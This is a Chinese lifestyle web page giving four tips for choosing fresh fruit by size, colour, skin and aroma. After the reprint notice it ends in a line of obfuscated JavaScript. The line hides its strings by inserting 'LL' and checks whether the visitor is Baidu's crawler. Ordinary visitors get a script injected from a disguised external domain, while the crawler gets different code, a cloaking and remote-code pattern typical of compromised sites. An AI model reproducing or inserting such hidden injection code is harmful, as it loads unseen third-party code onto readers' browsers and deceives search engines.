当前位置:首页 > 饮食 > 健康饮食 > 正文

挑选好水果除了看外面还要注意什么

2017-04-21 20:06:17  来源:360常识网   热度:
导语:面对市场上各种各样,缤纷的新鲜水果。我们都忍不住要带回家的节奏,水果基本现在成为我们每天必需的食物了。但是在购买一些新鲜水果上面,

面对市场上各种各样,缤纷的新鲜水果。我们都忍不住要带回家的节奏,水果基本现在成为我们每天必需的食物了。但是在购买一些新鲜水果上面,有许多人却存在着不会看挑水果来买。有时候肉眼见到的各种水果,眼也都花了。而且一些水果贩子就是因为我们这些不会挑水果的人,占了我们不少便宜。我们却不知道。但其实谁不想购买到一些新鲜又可口的有营养的水果呢,只是挑选的经验不足而已。所以面对这个问题,我们就一起来学习一下,怎么去挑择到味美又好的水果呢。

一、大小

苹果、梨、桃等的个头分大、中、小型,果大说明发育正常,能体现出该品种的风味。反之,果型越小风味越差。但果子太大,肉质较松,不易贮存。另外,有些水果的品种本身就属小型,如京白梨、南丰蜜桔、无核白葡萄等个头虽小,风味甚佳。所以还应凭经验。

二、颜色

水果成熟与否,颜色是重要标志。如桔柑,成熟后一般底色发黄,呈橙红或鲜红色。不成熟的则是全绿色或半绿色,这样的桔柑风味差。香蕉皮色青绿则说明还不太熟,而香蕉皮上呈黑点,则表明熟过头了。黄香蕉苹果、鸭梨呈金黄色时口感最好。但有些品种,如绿化三号桃、青香蕉和印度苹果,本身就是以绿色为主,则属例外。

三、看水果表面

这是观察果实品质最直观的方法。颜色鲜艳、外型端正、细腻光滑、富有光泽的水果,一般质量较好。有些水果表面虽有果锈,但对质量无影响。果面有压伤、磕伤者不宜久存。

四、闻香气

多数成熟的果品有较浓郁的芳香,这是果实中含挥发油的原因。毫无香气说明水果不太成熟。

虽然平时水果对我们的身体有相应的好处,但是我们也要学会购买水果的时候要怎么挑择。这样的的水果才可以更好的对我们产生有益的好处,也希望这四个小方式可以帮助到你在以后,选水果上面有一定的经验。

转载申明:360常识网,欢迎分享,转载请注明出处!

if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}